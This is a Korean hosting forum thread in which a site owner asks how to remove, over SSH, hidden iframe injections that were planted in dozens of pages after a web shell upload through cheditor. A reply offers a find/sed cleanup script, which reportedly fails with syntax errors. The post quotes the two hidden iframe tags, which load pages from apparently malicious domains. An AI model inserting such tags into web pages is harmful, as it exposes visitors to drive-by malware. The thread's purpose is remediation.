ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1573 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,353
14년 전 조회 1,740
14년 전 조회 2,022
14년 전 조회 1,522
14년 전 조회 1,669
14년 전 조회 1,462
14년 전 조회 1,793
14년 전 조회 1,672
14년 전 조회 1,100
14년 전 조회 1,276
14년 전 조회 1,280
14년 전 조회 1,622
14년 전 조회 1,446
14년 전 조회 1,479
14년 전 조회 1,414
14년 전 조회 1,826
14년 전 조회 1,543
14년 전 조회 1,532
14년 전 조회 1,555
14년 전 조회 1,349
14년 전 조회 2,401
14년 전 조회 2,186
14년 전 조회 1,608
14년 전 조회 1,441
14년 전 조회 2,505
14년 전 조회 1,868
14년 전 조회 1,699
14년 전 조회 1,436
14년 전 조회 2,153
14년 전 조회 4,429
14년 전 조회 3,067
14년 전 조회 1,796
14년 전 조회 1,399
14년 전 조회 1,449
14년 전 조회 1,982
14년 전 조회 1,637
14년 전 조회 1,973
14년 전 조회 2,059
14년 전 조회 2,091
14년 전 조회 1,266
14년 전 조회 1,496
14년 전 조회 3,383
14년 전 조회 1,417
14년 전 조회 1,898
14년 전 조회 1,455
14년 전 조회 1,324
14년 전 조회 1,882
14년 전 조회 1,314
14년 전 조회 1,996
14년 전 조회 1,574
14년 전 조회 2,239
14년 전 조회 2,156
14년 전 조회 1,664
14년 전 조회 1,891
14년 전 조회 1,609
14년 전 조회 2,296
14년 전 조회 1,888
14년 전 조회 1,867
14년 전 조회 2,165
14년 전 조회 2,027
14년 전 조회 1,464
14년 전 조회 1,548
14년 전 조회 1,310
14년 전 조회 1,458
14년 전 조회 2,237
14년 전 조회 2,955
14년 전 조회 2,890
14년 전 조회 2,510
14년 전 조회 2,035
14년 전 조회 2,122
14년 전 조회 1,897
14년 전 조회 2,149
14년 전 조회 1,242
14년 전 조회 1,896
14년 전 조회 1,231
14년 전 조회 1,699
14년 전 조회 1,438
14년 전 조회 2,574
14년 전 조회 1,338
14년 전 조회 3,205
14년 전 조회 1,569
14년 전 조회 1,436
14년 전 조회 3,518
14년 전 조회 1,288
14년 전 조회 1,579
14년 전 조회 1,094
14년 전 조회 1,402
14년 전 조회 1,204
14년 전 조회 1,886
14년 전 조회 1,317
14년 전 조회 1,695
14년 전 조회 1,336
14년 전 조회 1,257
14년 전 조회 1,209
14년 전 조회 1,938
14년 전 조회 1,406
14년 전 조회 1,277
14년 전 조회 1,318
14년 전 조회 1,974
14년 전 조회 1,985